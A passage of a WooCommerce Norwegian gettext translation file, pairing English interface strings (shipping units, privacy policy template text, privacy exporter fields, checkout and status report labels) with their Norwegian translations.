msgstr "Hvis du ønsker å tilby <span class=\"help_tip\" data-tip=\"%1$s\">sanntidspriser</span> fra en bestemt transportør (f.eks. UPS), finner du en rekke utvidelser tilgjengelig for WooCommerce <a href=\"%2$s\" target=\"_blank\">her</a>."
#. translators: %s: country name including the 'the' prefix if needed
#: includes/admin/class-wc-admin-setup-wizard.php:1011
msgid "We've created two Shipping Zones - for %s and for the rest of the world. Below you can set Flat Rate shipping costs for these Zones or offer Free Shipping."
msgstr "Vi har laget to fraktsoner - for %s og for resten av verden. Nedenfor kan du angi fastpris fraktkostnader for disse sonene eller tilbyr gratis frakt."
#: includes/admin/class-wc-admin-setup-wizard.php:986
msgid "Yards"
msgstr "Yards"
#: includes/admin/class-wc-admin-setup-wizard.php:985
msgid "Inches"
msgstr "Tommer"
#: includes/admin/class-wc-admin-setup-wizard.php:984
msgid "Millimeters"
msgstr "Millimeter"
#: includes/admin/class-wc-admin-setup-wizard.php:983
msgid "Centimeters"
msgstr "Centimeter"
#: includes/admin/class-wc-admin-setup-wizard.php:982
msgid "Meters"
msgstr "Meter"
#: includes/admin/class-wc-admin-setup-wizard.php:961
msgid "Ounces"
msgstr "Ounces"
#: includes/admin/class-wc-admin-setup-wizard.php:960
msgid "Pounds"
msgstr "Pund"
#: includes/admin/class-wc-admin-setup-wizard.php:959
msgid "Grams"
msgstr "Gram"
#: includes/admin/class-wc-admin-setup-wizard.php:958
msgid "Kilograms"
msgstr "Kilo"
#: includes/admin/class-wc-admin-settings.php:182
msgid "Item moved down"
msgstr "Produktet flyttet ned"
#: includes/admin/class-wc-admin-settings.php:181
msgid "Item moved up"
msgstr "Produktet flyttet opp"
#: includes/admin/class-wc-admin-assets.php:577
msgid "You may need to manually restore the item's stock."
msgstr "Du må kanskje manuelt gjenopprette produktets lagerstatus."
#: includes/admin/class-wc-admin-assets.php:565
msgid "Are you sure you want to remove the selected items?"
msgstr "Er du sikker på at du vil fjerne de valgte produktene?"
#: i18n/states.php:1622
msgid "Alto Paraguay"
msgstr "Alto Paraguay"
#: i18n/states.php:1621
msgid "Presidente Hayes"
msgstr "Presidente Hayes"
#: i18n/states.php:1619
msgid "Amambay"
msgstr "Amambay"
#: i18n/states.php:619 i18n/states.php:1617 i18n/states.php:2225
msgid "Central"
msgstr "Central"
#: i18n/states.php:1609
msgid "Cordillera"
msgstr "Cordillera"
#: i18n/states.php:1608
msgid "San Pedro"
msgstr "San Pedro"
#: i18n/states.php:970
msgid "Sud Sardegna"
msgstr "Sud Sardegna"
#: includes/class-wc-countries.php:759
msgid "Apartment, suite, unit, etc."
msgstr "Adresselinje 2"
#. translators: %d: count
#: includes/admin/class-wc-admin-api-keys.php:188
msgid "%d API key permanently revoked."
msgid_plural "%d API keys permanently revoked."
msgstr[0] "%d API nøkkel permanent tilbakekalt."
msgstr[1] "%d API nøkler permanent tilbakekalt."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:339
msgid "Cannot set attributes due to invalid parent product."
msgstr "Kan ikke lagre attributter på grunn av ugyldig forelderprodukt."
#: includes/admin/class-wc-admin-assets.php:426
msgid "This action cannot be reversed. Are you sure you wish to erase personal data from the selected orders?"
msgstr "Denne handlingen kan ikke reverseres. Er du sikker på at du vil slette personlige data fra de valgte ordrene?"
#. translators: %d: shipping package number
#: includes/wc-cart-functions.php:261
msgctxt "shipping packages"
msgid "Shipping %d"
msgstr "Frakt %d"
#: includes/class-wc-privacy-exporters.php:307
msgid "Payer PayPal address"
msgstr "Betaler PayPal adresse"
#: includes/class-wc-privacy-exporters.php:306
msgid "Payer last name"
msgstr "Betaler etternavn"
#: includes/class-wc-privacy-exporters.php:305
msgid "Payer first name"
msgstr "Betaler fornavn"
#: includes/class-wc-privacy-exporters.php:258
msgid "Shipping Address"
msgstr "Fraktadresse"
#: includes/class-wc-privacy-exporters.php:257
msgid "Billing Address"
msgstr "Fakturaadresse"
#: includes/class-wc-privacy-erasers.php:60
#: includes/class-wc-privacy-exporters.php:199
msgid "Shipping Address 1"
msgstr "Fraktadresse 1"
#: includes/class-wc-privacy-erasers.php:49
#: includes/class-wc-privacy-exporters.php:188
msgid "Billing Address 1"
msgstr "Fakturaadresse 1"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:276
msgid "MySQL version string."
msgstr "MySQL versjon string."
#. translators: 1: Link to tax rates sample file 2: Closing link.
#: includes/admin/importers/class-wc-tax-rate-importer.php:283
msgid "Your CSV needs to include columns in a specific order. %1$sClick here to download a sample%2$s."
msgstr "Din CSV må inkludere kolonner i en bestemt rekkefølge. %1$sTrykk her for å laste ned et eksempel%2$s."
#: templates/myaccount/form-edit-account.php:45
msgid "This will be how your name will be displayed in the account section and in reviews"
msgstr "Dette er hvordan navnet ditt blir vist i din konto og dine omtaler."
#: includes/wc-template-functions.php:980
msgid "terms and conditions"
msgstr "salgsbetingelsene"
#: includes/wc-template-functions.php:979
msgid "privacy policy"
msgstr "personvernregler"
#: includes/wc-core-functions.php:652
msgid "United States (US) dollar"
msgstr "Amerikanske (US) dollar"
#. translators: 1: last 4 digits
#: includes/payment-tokens/class-wc-payment-token-echeck.php:50
msgid "eCheck ending in %1$s"
msgstr "eCheck slutter på %1$s"
#: includes/gateways/paypal/includes/settings-paypal.php:86
msgid "PayPal allows us to send one address. If you are using PayPal for shipping labels you may prefer to send the shipping address rather than billing. Turning this option off may prevent PayPal Seller protection from applying."
msgstr "PayPal tillater oss å sende en adresse. Hvis du bruker PayPal for fraktetiketter, kan du foretrekke å sende fraktadresse i stedet for fakturaadresse. Hvis du slår av dette alternativet, kan det forhindre PayPal Seller protection fra å søke."
#. translators: %s: Link to WC system status page
#: includes/gateways/paypal/class-wc-gateway-paypal.php:153
msgid "PayPal Standard redirects customers to PayPal to enter their payment information."
msgstr "PayPal Standard omdirigerer kundene til PayPal for å legge inn betalingsinformasjonen."
#. Translators: %1$s zone name, %2$s shipping method instance name.
#: includes/gateways/cod/class-wc-gateway-cod.php:277
msgid "Other locations"
msgstr "Andre steder"
#. Translators: %1$s zone name, %2$s shipping method instance name.
#: includes/gateways/cod/class-wc-gateway-cod.php:277
msgid "%1$s – %2$s"
msgstr "%1$s – %2$s"
#. Translators: %1$s shipping method title, %2$s shipping method id.
#. translators: 1: product title 2: product ID
#: includes/gateways/cod/class-wc-gateway-cod.php:274
#: src/Internal/StockNotifications/Admin/ListTable.php:472
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:129
msgid "%1$s (#%2$s)"
msgstr "%1$s (nr. %2$s)"
#. Translators: %1$s shipping method name.
#: includes/gateways/cod/class-wc-gateway-cod.php:259
msgid "Any "%1$s" method"
msgstr "Hvilken som helst "%1$s" metode"
#: includes/gateways/cheque/class-wc-gateway-cheque.php:49
msgid "Take payments in person via checks. This offline gateway can also be useful to test purchases."
msgstr "Ta betalt med sjekker. Denne frakoblede betalingsmåten kan også brukes til testkjøp."
#: includes/gateways/bacs/class-wc-gateway-bacs.php:158
msgid "Account details:"
msgstr "Kontodetaljer:"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:64
msgid "Take payments in person via BACS. More commonly known as direct bank/wire transfer."
msgstr "Ta betalinger via BACS. Bedre kjent som direkte bankoverføring/forhåndsbetaling."
#: includes/data-stores/class-wc-data-store-wp.php:559
msgctxt "Comma-separated list of search stopwords in your language"
msgid "about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www"
msgstr "om,en,et,ei,er,som,ved,com,for,fra,hvordan,i,er det,av,på,eller,det,dette,den,denne,å,var,hva,når,hvor,som,vil,med,www"
#: includes/customizer/class-wc-shop-customizer.php:885
msgid "Optionally add some text for the terms checkbox that customers must accept."
msgstr "Legg eventuelt til litt tekst for vilkår-avkrysningsboksen som kundene må godta."
#. Translators: %s: page name.
#: includes/customizer/class-wc-shop-customizer.php:860
msgid "%s page"
msgstr "%s side"
#: includes/customizer/class-wc-shop-customizer.php:845
msgid "No page set"
msgstr "Ingen side satt"
#: includes/customizer/class-wc-shop-customizer.php:813
msgid "Highlight required fields with an asterisk"
msgstr "Marker påkrevde felt med en stjerne"
#. translators: %s terms and conditions page name and link
#: includes/customizer/class-wc-shop-customizer.php:789
#: includes/wc-template-functions.php:870
msgid "I have read and agree to the website %s"
msgstr "Jeg har lest og aksepterer %s"
#: includes/customizer/class-wc-shop-customizer.php:767
#: templates/auth/form-login.php:40 templates/auth/form-login.php:44
#: templates/global/form-login.php:34 templates/global/form-login.php:38
#: templates/myaccount/form-login.php:39 templates/myaccount/form-login.php:43
#: templates/myaccount/form-login.php:79 templates/myaccount/form-login.php:86
#: templates/myaccount/form-login.php:93
#: templates/myaccount/form-lost-password.php:28
#: templates/myaccount/form-reset-password.php:28
#: templates/myaccount/form-reset-password.php:32
#: assets/client/blocks/checkout.js:2
msgid "Required"
msgstr "Påkrevd"
#. Translators: %s field name.
#: includes/customizer/class-wc-shop-customizer.php:760
msgid "%s field"
msgstr "%s-felt"
#: includes/customizer/class-wc-shop-customizer.php:736
msgid "These options let you change the appearance of the WooCommerce checkout."
msgstr "Disse alternativene lar deg endre utseendet på WooCommerce betalingssiden."
#: includes/class-wc-privacy.php:129
msgid "Please see the <a href=\"https://www.paypal.com/us/webapps/mpp/ua/privacy-full\">PayPal Privacy Policy</a> for more details."
msgstr "Vennligst se <a href=\"https://www.paypal.com/us/webapps/mpp/ua/privacy-full\">PayPal Privacy Policy</a> for flere detaljer."
#: includes/class-wc-privacy.php:128
msgid "We accept payments through PayPal. When processing payments, some of your data will be passed to PayPal, including information required to process or support the payment, such as the purchase total and billing information."
msgstr "Vi aksepterer betalinger gjennom PayPal. Når betalingen behandles, vil noen av opplysningene dine overføres til PayPal, inkludert informasjon som er nødvendig for å gjennomføre eller behandle betalingen, slik som kjøpesum og betalingsinformasjon."
#: includes/class-wc-privacy.php:126
msgid "In this subsection you should list which third party payment processors you’re using to take payments on your store since these may handle customer data. We’ve included PayPal as an example, but you should remove this if you’re not using PayPal."
msgstr "I dette avsnittet bør du lage en liste over hvilke tredjepartsleverandører du bruker til å ta i mot betalinger i nettbutikken din, siden disse kan komme til å behandle personopplysninger. Vi har inkludert PayPal som eksempel, men du burde fjerne dette hvis du ikke bruker PayPal."
#: includes/class-wc-privacy.php:123
msgid "We share information with third parties who help us provide our orders and store services to you; for example --"
msgstr "Vi deler opplysninger med tredjepartsleverandører som hjelper oss med å behandle ordre og levere nettbutikktjenesten; for eksempel --"
#: includes/class-wc-privacy.php:121
msgid "In this section you should list who you’re sharing data with, and for what purpose. This could include, but may not be limited to, analytics, marketing, payment gateways, shipping providers, and third party embeds."
msgstr "I denne seksjonen bør du ha en liste over hvem du deler opplysninger med, og hvorfor du gjør det. Dette kan inkludere, men ikke være begrenset til: analyse, markedsføring, betalingsløsninger, fraktleverandører og andre tredjepartsleverandører."
#: includes/class-wc-privacy.php:119
msgid "What we share with others"
msgstr "Hva vi deler med andre"
#: includes/class-wc-privacy.php:118
msgid "Our team members have access to this information to help fulfill orders, process refunds and support you."
msgstr "Vår stab har tilgang til denne informasjonen for å hjelpe til med å gjennomføre ordre, behandle refunderinger og gi deg kundestøtte."
#: includes/class-wc-privacy.php:116
msgid "Customer information like your name, email address, and billing and shipping information."
msgstr "Kundeopplysninger som for eksempel navn, e-postadresse samt faktura- og leveringsadresse."
#: includes/class-wc-privacy.php:115
msgid "Order information like what was purchased, when it was purchased and where it should be sent, and"
msgstr "Ordreinformasjon, slik som hva som er kjøpt, når det ble kjøpt og hvor det skal bli fraktet til, og"
#: includes/class-wc-privacy.php:113
msgid "Members of our team have access to the information you provide us. For example, both Administrators and Shop Managers can access:"
msgstr "Medlemmer av teamet vårt har tilgang til informasjonen du gir oss. For eksempel kan både administratorer og butikkadministratorer få tilgang til:"
#: includes/class-wc-privacy.php:112
msgid "Who on our team has access"
msgstr "Hvem som har tilgang"
#: includes/class-wc-privacy.php:111
msgid "We will also store comments or reviews, if you choose to leave them."
msgstr "Vi tar også vare på kommentarer og omtaler, hvis du velger å skrive dem."
#: includes/class-wc-privacy.php:110
msgid "We generally store information about you for as long as we need the information for the purposes for which we collect and use it, and we are not legally required to continue to keep it. For example, we will store order information for XXX years for tax and accounting purposes. This includes your name, email address and billing and shipping addresses."
msgstr "Som hovedregel oppbevarer vi kun opplysninger om deg så lenge vi trenger dem til de formål som opplysningene er samlet inn til, og vi ikke lenger er lovpålagt å beholde dem. Vi vil for eksempel oppbevare ordreinformasjon i X år av regnskaps- og avgiftsmessige årsaker. Dette inkluderer navn og e-postadresse, samt faktura- og leveringsadresse."
#: includes/class-wc-privacy.php:109
msgid "If you create an account, we will store your name, address, email and phone number, which will be used to populate the checkout for future orders."
msgstr "Hvis du oppretter en konto, lagrer vi ditt navn, adresse, e-post og telefonnummer, som vil bli brukt til å fylle ut kassen for fremtidige ordre."
#: includes/class-wc-privacy.php:107
msgid "Send you marketing messages, if you choose to receive them"
msgstr "Send deg markedsføringsmeldinger, hvis du velger å motta dem"
#: includes/class-wc-privacy.php:106
msgid "Improve our store offerings"
msgstr "For å forbedre våre butikktjenester"
#: includes/class-wc-privacy.php:105
msgid "Comply with any legal obligations we have, such as calculating taxes"
msgstr "Overholde alle juridiske forpliktelser vi har, som å beregne avgifter"
#: includes/class-wc-privacy.php:104
msgid "Set up your account for our store"
msgstr "Sett opp din konto for butikken vår"
#: includes/class-wc-privacy.php:103
msgid "Process payments and prevent fraud"
msgstr "Behandle betalinger og forhindre svindel"
#: includes/class-wc-privacy.php:102
msgid "Respond to your requests, including refunds and complaints"
msgstr "Svar på dine forespørsler, inkludert tilbakebetalinger og klager"
#: includes/class-wc-privacy.php:101
msgid "Send you information about your account and order"
msgstr "Sende deg informasjon om din konto og ordre"
#: includes/class-wc-privacy.php:99
msgid "When you purchase from us, we’ll ask you to provide information including your name, billing address, shipping address, email address, phone number, credit card/payment details and optional account information like username and password. We’ll use this information for purposes, such as, to:"
msgstr "Når du kjøper fra oss, ber vi deg om å gi informasjon, inkludert navn, faktureringsadresse, fraktadresse, e-postadresse, telefonnummer, kredittkort/betalingsinformasjon og valgfri kontoinformasjon som brukernavn og passord. Vi bruker denne informasjonen til for eksempel:"
#: includes/class-wc-privacy.php:97
msgid "Note: you may want to further detail your cookie policy, and link to that section from here."
msgstr "Merk: du vil kanskje beskrive nærmere hvordan du bruker informasjonskapsler, og lenke til det herfra."
#: includes/class-wc-privacy.php:95
msgid "We’ll also use cookies to keep track of cart contents while you’re browsing our site."
msgstr "Vi bruker også informasjonskapsler for å holde oversikt over innholdet i handlekurven mens du surfer på nettstedet vårt."
#: includes/class-wc-privacy.php:93
msgid "Shipping address: we’ll ask you to enter this so we can, for instance, estimate shipping before you place an order, and send you the order!"
msgstr "Fraktadresse: Vi ber deg om å fylle inn dette, slik at vi for eksempel kan estimere frakt før du legger inn en ordre, samt for å sende ordren til deg."
#: includes/class-wc-privacy.php:92
msgid "Location, IP address and browser type: we’ll use this for purposes like estimating taxes and shipping"
msgstr "Plassering, IP-adresse og nettlesertype: Vi bruker dette til formål som estimering av avgifter og frakt"
#: includes/class-wc-privacy.php:91
msgid "Products you’ve viewed: we’ll use this to, for example, show you products you’ve recently viewed"
msgstr "Produkter du har sett på: Vi bruker dette til for eksempel å vise deg produkter du nylig har sett på"
#: includes/class-wc-privacy.php:89
msgid "While you visit our site, we’ll track:"
msgstr "Når du besøker nettsiden vår, samler vi:"
#: includes/class-wc-privacy.php:88
msgid "What we collect and store"
msgstr "Hva vi samler og lagrer"
#: includes/class-wc-privacy.php:87
msgid "We collect information about you during the checkout process on our store."
msgstr "Vi samler inn informasjon om deg under betalingsprosessen i vår butikk."
#: includes/class-wc-privacy.php:85
msgid "This sample language includes the basics around what personal data your store may be collecting, storing and sharing, as well as who may have access to that data. Depending on what settings are enabled and which additional plugins are used, the specific information shared by your store will vary. We recommend consulting with a lawyer when deciding what information to disclose on your privacy policy."
msgstr "Denne eksempelteksten inneholder det grunnleggende om hvilke personlige data butikken kan samle inn, lagre og dele, samt hvem som har tilgang til dataene. Avhengig av hvilke innstillinger som er aktivert, og hvilke utvidelser som brukes, vil den spesifikke informasjonen som er delt av butikken variere. Vi anbefaler at man rådføre seg med en advokat når man bestemmer hvilken informasjon som skal tas med i personvernerklæringen."
#: includes/class-wc-privacy-exporters.php:428
msgid "Token"
msgstr "Nøkkel"
#: includes/class-wc-privacy-exporters.php:423
msgid "Payment Tokens"
msgstr "Betalingsnøkler"
#: includes/class-wc-privacy-exporters.php:371
msgid "Access granted"
msgstr "Tilgang tillatt"
#: includes/class-wc-privacy-exporters.php:367
msgid "Download count"
msgstr "Antall nedlastinger"
#: includes/class-wc-privacy-exporters.php:359
msgid "User email"
msgstr "Bruker e-postadresse"
#: includes/class-wc-privacy-exporters.php:256
msgid "Browser User Agent"
msgstr "Nettleser brukeragent"
#: includes/class-wc-privacy-exporters.php:254
msgid "Items Purchased"
msgstr "Produkter kjøpt"
#: includes/class-wc-privacy-exporters.php:251
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:26
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Order Number"
msgstr "Ordrenummer"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:848
#: includes/class-wc-privacy-exporters.php:142
#: includes/class-wc-privacy-exporters.php:347
msgid "Download ID"
msgstr "Nedlastnings-ID"
#. translators: This is the headline for a list of access logs for downloads
#. purchased from the store for a given user.
#: includes/class-wc-privacy-exporters.php:137
msgid "Access to Purchased Downloads"
msgstr "Adgang til kjøpte nedlastinger"
#. translators: This is the headline for a list of downloads purchased from the
#. store for a given user.
#: includes/class-wc-privacy-exporters.php:125
msgid "Purchased Downloads"
msgstr "Kjøpte nedlastinger"
#: includes/class-wc-privacy-exporters.php:31
msgid "Customer Data"
msgstr "Kunde data"
#. Translators: %s Prop name.
#: includes/class-wc-privacy-erasers.php:401
msgid "Removed payment token \"%d\""
msgstr "Fjernet betalingsnøkkel \"%d\""
#: includes/class-wc-privacy-erasers.php:354
msgid "Personal data removed."
msgstr "Personopplysninger slettet."
#: includes/class-wc-privacy-erasers.php:204
msgid "Customer download permissions have been retained."
msgstr "Kundens nedlastingstillatelser er beholdt."
#: includes/class-wc-privacy-erasers.php:200
msgid "Removed access to downloadable files."
msgstr "Fjernet adgang til nedlastbare filer."
#. Translators: %s Order number.
#: includes/class-wc-privacy-erasers.php:147
msgid "Personal data within order %s has been retained."
msgstr "Personlige data fra ordre %s er beholdt."
#. Translators: %s Order number.
#: includes/class-wc-privacy-erasers.php:143
msgid "Removed personal data from order %s."
msgstr "Fjernet personlige data fra ordre %s."
#. Translators: %s Prop name.
#: includes/class-wc-privacy-erasers.php:87
msgid "Removed customer \"%s\""
msgstr "Fjernet kunde \"%s\""
#: includes/class-wc-privacy-erasers.php:64
#: includes/class-wc-privacy-exporters.php:203
msgid "Shipping State"
msgstr "Frakt delstat/fylke"
#: includes/class-wc-privacy-erasers.php:63
#: includes/class-wc-privacy-exporters.php:202
msgid "Shipping Postal/Zip Code"
msgstr "Frakt postnummer"
#: includes/class-wc-privacy-erasers.php:62
#: includes/class-wc-privacy-exporters.php:201
msgid "Shipping City"
msgstr "Frakt poststed"
#: includes/class-wc-privacy-erasers.php:59
#: includes/class-wc-privacy-exporters.php:198
msgid "Shipping Company"
msgstr "Frakt firma"
#: includes/class-wc-privacy-erasers.php:58
#: includes/class-wc-privacy-exporters.php:197
msgid "Shipping Last Name"
msgstr "Frakt etternavn"
#: includes/class-wc-privacy-erasers.php:57
#: includes/class-wc-privacy-exporters.php:196
msgid "Shipping First Name"
msgstr "Frakt fornavn"
#: includes/class-wc-privacy-exporters.php:259
msgid "Phone Number"
msgstr "Telefonnummer"
#: includes/class-wc-privacy-erasers.php:53
#: includes/class-wc-privacy-exporters.php:192
msgid "Billing State"
msgstr "Faktura delstat/fylke"
#: includes/class-wc-privacy-erasers.php:52
#: includes/class-wc-privacy-exporters.php:191
msgid "Billing Postal/Zip Code"
msgstr "Faktura postnummer"
#: includes/class-wc-privacy-erasers.php:51
#: includes/class-wc-privacy-exporters.php:190
msgid "Billing City"
msgstr "Faktura poststed"
#: includes/class-wc-privacy-erasers.php:48
#: includes/class-wc-privacy-exporters.php:187
msgid "Billing Company"
msgstr "Faktura firma"
#: includes/class-wc-privacy-erasers.php:47
#: includes/class-wc-privacy-exporters.php:186
msgid "Billing Last Name"
msgstr "Faktura etternavn"
#: includes/class-wc-privacy-erasers.php:46
#: includes/class-wc-privacy-exporters.php:185
msgid "Billing First Name"
msgstr "Faktura fornavn"
#: includes/class-wc-order.php:500
msgid "Error during status transition."
msgstr "Feil under statusendring."
#: includes/class-wc-order.php:407
msgid "Update status event failed."
msgstr "Feil under statusendring."
#: includes/class-wc-order.php:193
msgid "Payment complete event failed."
msgstr "Betaling fullført hendelse mislyktes."
#. translators: user role
#: includes/class-wc-install.php:2183
msgctxt "User role"
msgid "Shop manager"
msgstr "Butikkadministrator"
#. translators: user role
#: includes/class-wc-install.php:2181
msgctxt "User role"
msgid "Customer"
msgstr "Kunde"
#: includes/class-wc-frontend-scripts.php:687
#: includes/wc-template-functions.php:3038
msgid "optional"
msgstr "valgfritt"
#: includes/class-wc-form-handler.php:289
#: templates/myaccount/form-edit-account.php:44
msgid "Display name"
msgstr "Visningsnavn"
#: includes/class-wc-form-handler.php:280
msgid "Display name cannot be changed to email address due to privacy concern."
msgstr "Visningsnavn kan ikke endres til e-postadresse på grunn av personvern."
#. translators: 1: first name 2: last name
#: includes/class-wc-customer.php:887
msgctxt "display name"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"
#: includes/class-wc-checkout.php:1344
msgid "Unable to create order."
msgstr "Kunne ikke opprette ordren."
#: includes/class-wc-checkout.php:950 includes/class-wc-form-handler.php:451
msgid "Please read and accept the terms and conditions to proceed with your order."
msgstr "Les og godta salgsbetingelsene for å fortsette med ordren din."
#: includes/class-wc-checkout.php:190 includes/class-wc-emails.php:79
#: includes/class-wc-payment-gateways.php:70 includes/class-wc-shipping.php:89
#: includes/class-woocommerce.php:182
#: includes/rest-api/Utilities/SingletonTrait.php:49
msgid "Unserializing instances of this class is forbidden."
msgstr "Unserialiserende forekomster av denne klassen er forbudt."
#: includes/class-wc-checkout.php:183 includes/class-wc-emails.php:70
#: includes/class-wc-payment-gateways.php:61 includes/class-wc-shipping.php:80
#: includes/class-woocommerce.php:173
msgid "Cloning is forbidden."
msgstr "Kloning er forbudt."
#. translators: %1$s: product name. %2$s product permalink
#: includes/class-wc-cart-session.php:208
msgid "%1$s has been removed from your cart because it has since been modified. You can add it back to your cart <a href=\"%2$s\">here</a>."
msgstr "%1$s er fjernet fra handlekurven fordi den har blitt modifisert siden du la det inn. Du kan legge den tilbake i handlekurven <a href=\"%2$s\">her</a>."
#. translators: %d: number of saved carts
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:555
msgid "Deleted all active sessions, and %d saved carts."
msgstr "Slettet alle aktive økter, og %d lagrede handlekurver."
#. translators: %d: amount of permissions
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:523
msgid "%d permissions deleted"
msgstr "%d tillatelser slettet"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:175
msgid "This tool will delete all customer session data from the database, including current carts and saved carts in the database."
msgstr "Dette verktøyet vil slette alle kundesessionsdata fra databasen, inkludert nåværende handlekurver og lagrede handlekurver i databasen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:147
msgid "This tool will delete expired download permissions and permissions with 0 remaining downloads."
msgstr "Dette verktøyet vil slette utløpte nedlastingsrettigheter og tillatelser med 0 gjenværende nedlastinger."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:146
msgid "Clean up download permissions"
msgstr "Rydd opp nedlastingstillatelser"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:145
msgid "Used-up download permissions"
msgstr "Nedlastingsrettigheter som er brukt opp"
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2375
msgid "Limit result set to products with a specific attribute. Use the taxonomy name/attribute slug."
msgstr "Avgrens resultat til produkter med et bestemt attributt. Bruk taksonomi-navnet/attributt-identifikatoren."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:415
msgid "If the payment was refunded via the API."
msgstr "Hvis betalingen ble refundert via API."
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:84
msgid "Order total formatted for locale"
msgstr "Totalbeløp formatert for språket"
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:72
msgid "Name of the customer for the order"
msgstr "Kundens navn for denne ordren"
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:66
msgid "URL to edit the order"
msgstr "Nettadresse for å redigere ordren"
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:60
msgid "Blog id of the record on the multisite."
msgstr "Blogg-ID av posten på multisiten."
#. translators: %s: documentation URL
#: includes/admin/views/html-notice-secure-connection.php:18
msgid "Your store does not appear to be using a secure connection. We highly recommend serving your entire website over an HTTPS connection to help keep customer data secure. <a href=\"%s\">Learn more here.</a>"
msgstr "Din butikk ser ikke ut til å bruke en sikker tilkobling. Vi anbefaler på det sterkeste å betjene hele nettstedet ditt via en HTTPS-tilkobling for å holde kundedataene sikre. <a href=\"%s\">Les mer her.</a>"
#: includes/admin/views/html-admin-page-status-report.php:850
msgid "WooCommerce pages"
msgstr "WooCommerce sider"
#: includes/admin/views/html-admin-page-status-report.php:474
msgid "WooCommerce database version"
msgstr "WooCommerce databaseversjon"
#: includes/admin/views/html-admin-page-status-report.php:231
msgid "Displays whether or not WordPress is using an external object cache."
msgstr "Viser om WordPress bruker et eksternt objektmellomlager eller ikke."
#: includes/admin/views/html-admin-page-status-report.php:230
msgid "External object cache"
msgstr "Eksternt mellomlager for objekter"
#: includes/admin/views/html-admin-page-status-report.php:214
msgid "WordPress cron"
msgstr "WordPress cron"
#: includes/admin/views/html-admin-page-status-report.php:203
msgid "WordPress debug mode"
msgstr "WordPress debug modus"
#: includes/admin/views/html-admin-page-status-report.php:189
msgid "WordPress memory limit"
msgstr "WordPress minnegrense"
#: includes/admin/views/html-admin-page-status-report.php:184
msgid "WordPress multisite"
msgstr "WordPress multisite"
#. Translators: %1$s: Current version, %2$s: New version
#: includes/admin/views/html-admin-page-status-report.php:176
msgid "%1$s - There is a newer version of WordPress available (%2$s)"
msgstr "%1$s - Der er en nyere versjon av WordPress tilgjengelig (%2$s)"
#: includes/admin/views/html-admin-page-status-report.php:156
msgid "WordPress version"
msgstr "WordPress versjon"
#: includes/admin/views/html-admin-page-status-report.php:95
msgid "WooCommerce version"
msgstr "WooCommerce versjon"
#: includes/admin/settings/class-wc-settings-payment-gateways.php:50
msgctxt "Settings tab label"
msgid "Payments"
msgstr "Betalinger"
#: includes/admin/settings/class-wc-settings-general.php:274
msgid "Enable coupons"
msgstr "Aktiver rabattkoder"
#: includes/admin/settings/class-wc-settings-general.php:270
msgid "Rates will be configurable and taxes will be calculated during checkout."
msgstr "Satser vil bli konfigurerbar og avgift vil bli beregnet ved betaling."
#: includes/admin/settings/class-wc-settings-general.php:266
msgid "Enable tax rates and calculations"
msgstr "Aktiver avgiftssatser og beregninger"
#: includes/admin/settings/class-wc-settings-emails.php:502
#: assets/client/admin/chunks/5753.js:1 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/multichannel-marketing.js:1
msgid "Manage"
msgstr "Administrer"
#: includes/admin/settings/class-wc-settings-advanced.php:246
msgid "Account endpoints"
msgstr "Konto sluttpunkter"
#: includes/admin/settings/class-wc-settings-advanced.php:163
msgid "Secure checkout"
msgstr "Sikker betaling"
#: includes/admin/settings/class-wc-settings-advanced.php:52
#: includes/admin/settings/class-wc-settings-advanced.php:425
msgid "Legacy API"
msgstr "Legacy API"
#: includes/admin/settings/class-wc-settings-accounts.php:270
msgid "Retain completed orders for a specified duration before anonymizing the personal data within them."
msgstr "Behold fullførte ordrer for en bestemt periode før personopplysningene anonymiseres i dem."
#: includes/admin/settings/class-wc-settings-accounts.php:269
msgid "Retain completed orders"
msgstr "Behold fullførte ordrer"
#: includes/admin/settings/class-wc-settings-accounts.php:249
msgid "Cancelled orders are unpaid and may have been cancelled by the store owner or customer. They will be trashed after the specified duration."
msgstr "Kansellerte ordrer er ubetalte og kan ha blitt kansellert av butikkens eier eller kunde. De flyttes til papirkurven etter den angitte perioden."
#: includes/admin/settings/class-wc-settings-accounts.php:248
msgid "Retain cancelled orders"
msgstr "Behold kansellerte ordrer"
#: includes/admin/settings/class-wc-settings-accounts.php:240
msgid "Failed orders are unpaid and may have been abandoned by the customer. They will be trashed after the specified duration."
msgstr "Mislykkede ordrer er ubetalte og kan ha blitt forlatt av kunden. De flyttes til papirkurven etter den angitte perioden."
#: includes/admin/settings/class-wc-settings-accounts.php:239
msgid "Retain failed orders"
msgstr "Behold mislykkede ordrer"
#: includes/admin/settings/class-wc-settings-accounts.php:231
msgid "Pending orders are unpaid and may have been abandoned by the customer. They will be trashed after the specified duration."
msgstr "Ventende ordrer er ubetalte og kan ha blitt forlatt av kunden. De flyttes til papirkurven etter den angitte perioden."
#: includes/admin/settings/class-wc-settings-accounts.php:230
msgid "Retain pending orders "
msgstr "Behold ordrer som er på vent "
#: includes/admin/settings/class-wc-settings-accounts.php:219
